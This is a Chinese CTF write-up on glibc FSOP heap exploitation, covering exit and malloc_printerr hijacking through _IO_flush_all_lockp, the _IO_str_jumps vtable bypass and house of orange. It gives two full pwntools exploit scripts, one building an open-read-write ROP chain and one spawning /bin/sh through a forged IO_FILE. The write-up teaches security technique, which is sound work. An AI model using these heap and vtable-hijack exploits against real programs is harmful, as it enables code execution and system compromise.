0x00 前置知识

（1）IO_File相关知识：参考这个博客，写的真的很详细，~但是和利用毛关系都没有~

（2）fsop有关利用：感觉就没有几个师傅写了fsop的利用，个人感觉大师傅写的很好

（3）如何查找_IO_str_jumps:这个是为了绕过vtable的检查机制（好像是从2.24开始的），然而并没有libc.sym['_IO_str_jumps'],需要我们靠一点技巧去找

_IO_str_jumps指向很多函数，可以说是一个函数表，其内部0x20偏移处为_IO_str_underflow能够通过打印符号表查找到

同时通过search -p能够查找到存储指针的位置（即_IO_str_jumps内部）

一般来说是最下面那个，因为要比如下这个东西的地址更高

（4）house of orange

这个利用来源于2016年台湾举办的某个ctf的同名的题，主要是利用堆溢出，将top_chunk的size改小（为了不使用mmap分配堆块），然后申请一块比top_chunk大的堆块。这样就可把top_chunk放入unsorted bin

0x01 exit劫持

exit的调用路径

exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->stderr->stderr+0xd8->......(省略的为io_list_all为头的链表及其调用)

利用思路

通过修改libc.sym['IO_2_1_stderr'] + 0x68为fake_io_file，达到劫持exit正常调用流程的目的。并且将fake_io_file的0xd8（即vtable）修改为_IO_str_jumps（2.24以后就有检查机制，之前的话可以修改为任意值）达到调用over_flow的目的，以此设置rdx寄存器的值并call malloc函数，结合提前修改malloc_hook为setcontext来实现堆上rop

其中有几个比较重要的汇编指令

将rbx寄存器置为stderr

stderr+0x68是chain，连入fake_io_file

把rax寄存器置为str_jumps

设置好参数准备跳转

rax为跳转到over_flow

设置rdx寄存器

0x02 例题

【bytectf2020】gun

exp

直接贴fmyy师傅的exp，其中涉及了srop，还没有学。。。不过改成正常的系统调用也可出

from pwn import*
context.arch = "amd64"
p = process('./gun')
libc =ELF('./libc-2.31.so')
def z():
gdb.attach(p)
def menu(ch):
p.sendlineafter('Action>',str(ch))
def new(size,content):
menu(3)
p.sendlineafter('price:',str(size))
p.sendlineafter('Name:',content)
def load(index):
menu(2)
p.sendlineafter('load?',str(index))
def free(times):
menu(1)
p.sendlineafter('time: ',str(times))
p.sendlineafter('Your name: ','nameless')
##leak libc
for i in range(3):
new(0x10,'') #0 1 2
new(0x420,'nameless') #3
new(0x420,'nameless') #4
new(0x10,'nameless') #5
load(4)
load(3)
free(2)
new(0x20,'') #3
load(3)
free(1)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x1c502d-(libc.sym['__libc_start_main']+243)
log.info('LIBC:\t' + hex(libc_base))
##set libc_func
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
##leak heap
new(0x20,'F'*0x10 + '\n') #3
load(3)
free(1)
p.recvuntil('F'*0x10)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x2C0 - 0x60
log.info('HEAP:\t' + hex(heap_base))
## set gadget
pop_rdi_ret = libc_base + 0x26B72
pop_rdx_r12 = libc_base + 0x11c1e1
pop_rsi_ret = libc_base + 0x27529
pop_rax_ret = libc_base + 0x4A550
## set libc_ables
jmp_rsi  = libc_base + 0x1105bd
syscall = libc_base + libc.sym['syscall']
target = libc_base + libc.sym['_IO_2_1_stdin_']
address = libc.sym['__free_hook'] + libc_base
IO_str_jumps = libc_base + 0x1ED560
Open = libc_base + libc.symbols["open"]
Read = libc_base + libc.symbols["read"]
Puts = libc_base + libc.symbols['puts']
free_hook = address
##set fake_io
IO  = '\x00'*0x28
IO += p64(heap_base + 0x360 + 0xE0) ##rdx
IO  = IO.ljust(0xD8,'\x00')
IO += p64(IO_str_jumps)
##
read = libc_base + libc.sym['read']
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x2000
frame.rsp = address
frame.rip = Read
orw  = p64(pop_rdi_ret)+p64(free_hook + 0xF8)
orw += p64(pop_rsi_ret)+p64(0)
orw += p64(Open)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rdx_r12) + p64(0x30) + p64(0)
orw += p64(pop_rsi_ret) + p64(free_hook+0x100)
orw += p64(Read)
orw += p64(pop_rdi_ret)+p64(free_hook+0x100)
orw += p64(Puts)
orw  = orw.ljust(0xF8,'\x00')
orw += './flag\x00\x00'
IO += str(frame)
##
for i in range(3):
load(i)
free(3)
new(0x3E0,IO + '\n') #0
new(0x31,p64(0) + p64(0x21) + '\x00'*0x18 + p64(0x21) + '\n') #1
free(1)
load(1)
free(1)
new(0x31,p64(0) + p64(0x21) + p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0x68) + '\n')
new(0x10,'FMYY\n')
new(0x10,p64(heap_base + 0x360) + '\n')
load(1)
load(2)
free(2)
new(0x31,p64(0) + p64(0x21) + p64(malloc_hook) + '\n')
new(0x10,'FMYY\n')
new(0x10,p64(libc_base + libc.sym['setcontext'] + 61) + '\n')   
z()
menu(4)
p.sendlineafter('Goodbye!',orw)
p.interactive()

调试记录手扎

环境配置的是glibc_all_in_one下的2.31 9_版本

主要是调一调看看运行流程
下面是偏移，方便阅读的师傅调试

exit：0x7ffff7dfe0b5
__run_exit_handlers：0x7ffff7e20bdb
_IO_cleanup：0x7ffff7e20b30
_IO_flush_all_lockp：0x7ffff7e6cf04+136处把RBX赋值为stderr，stderr+0x68为chain的位置，可以double free劫持它到fake_io ; +225 把rax设置为rbx+0xd8
_IO_str_overflow：0x7ffff7e6ccaf rdi==rbx
malloc:0x7ffff7e6dba8 

0x03 malloc_printerr劫持

一般是和unsorted bin attack结合起来用，触发malloc error来fsop

利用路径

2.23

malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp->system('/bin/sh')

2.24及以后

malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp->over_flow->malloc_hook->setcontext

利用思路

首先让unsorted bin里有且仅有一个堆块（所以2.23可以结合house of orange 打）修改一个unsorted bin 里的堆块的bk指针为IO_list_all

并且利用堆溢出等手段修改该堆块的size为0x60（为啥后面会讲），然后malloc即可在把这个堆块放入smallbin之后触发malloc_error，进入_IO_flush_all_lockp

这里面的汇编啥的前面讲exit利用的时候详细记录过了

主要是这个rbx+0x68,一开始的rbx是main+88,加上0x68就是+198了，这个正好是small bin中0x60 size的chunk的表头，那么后续的mov rax,rbx+0xd8啥的就可以直接调用堆上预设的值了

还有一个需要注意的地方，伪造的fake_io,它的0x28位置要比0x20大，具体是因为io_file的结构如下

需要绕过

1.((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
或者是
2.
_IO_vtable_offset (fp) == 0 
&& fp->_mode > 0 
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

肯定第一种要好绕过一点

而且，通过io_flush_lock_up的源码分析

_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
  run_fp = fp;
  if (do_lock)
_IO_flockfile (fp);
  if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查，需要绕过*/
   || (_IO_vtable_offset (fp) == 0
   && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))/*也可以绕过这个*/
   )
  && _IO_OVERFLOW (fp, EOF) == EOF)/*遍历_IO_list_all ，选出_IO_FILE作为_IO_OVERFLOW的参数，执行函数*/
result = EOF;
  if (do_lock)
_IO_funlockfile (fp);
  run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

发现如果一直绕不过这个检查，会从io_list_all一直往下取链表的成员，直至为0

这就是为啥俺一开始在gdb里调半天一直mov rbx，rbx+0x68直到为0的原因

例题

BUUOJ-house of orange

保护

ida

main

发现没有free函数，考虑使用house of orange 构造1个free的堆块，具体就是改写top_chunk（防止使用mmap分配内存）,然后申请一个比它大的堆块，就会把top_chunk free

add

很寻常，不过限制了add个数为4。而且未初始化指针，可以leak_libc和heap

edit

也是限制了edit的个数为3，改写的大小是我们指定的，所以存在堆溢出

show

存在的意义就是为了leak

思路

模板题还写啥思路.......

~学了fsop和house of orange 还不会可以remake了~

exp

from pwn import *
context.log_level='debug'
##r=process('./orange')
r=remote('node4.buuoj.cn',26752)
libc=ELF('./libc-2.23.so')
def z():
gdb.attach(r)
def cho(num):
r.sendlineafter("Your choice : ",str(num))
def add(size,con):
cho(1)
r.sendlineafter('Length of name :',str(size))
r.sendlineafter('Name :',con)
r.sendlineafter('Price of Orange:','1')
r.sendlineafter('Color of Orange:','1')
def edit(size,con):
cho(3)
r.sendlineafter("Length of name :",str(size))  
r.sendlineafter("Name:",con)
r.sendlineafter("Price of Orange: ",'1')
r.sendlineafter("Color of Orange: ",'1')  
def show():
cho(2)
##free_top_chunk
add(0x30,'nameless')
pd = 'a'*0x30 + p64(0) + p64(0x21) +'a'*16+ p64(0)+ p64(0xf80)
edit(len(pd)+1,pd)
add(0x1000,'nameless')
##leak_libc
add(0x400,'nameles')
show()
r.recvuntil("Name of house : ")
r.recvuntil('nameles\n')
libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x3a4948-(libc.sym['__libc_start_main']+240)
##set lib_functions
_IO_list_all=libcbase+libc.sym['_IO_list_all']
system=libcbase+libc.sym['system']
##leak_heap
edit(0x400,'nameless'+'nameles')
show()
r.recvuntil("Name of house : ")
r.recvuntil('nameles\n')
heap=u64(r.recv(6).ljust(8,'\x00'))-0xe0
log.success('libcbase:'+hex(libcbase))
log.success('heap:'+hex(heap))
##fsop
pd='a'*0x400
pd+=p64(0)+p64(0x21)+p64(0x0000001f00000001)+p64(0)
fake_io='/bin/sh\x00'+p64(0x60)+p64(0)+p64(_IO_list_all-0x10)
fake_io+=p64(0)+p64(1)
fake_io=fake_io.ljust(0xc0,'\x00')
pd+=fake_io
pd+=p64(0)*3
pd+=p64(heap+0x5e8)
pd+=p64(0)*2+p64(system)
edit(0x800,pd)
##z()
cho(1)
r.interactive()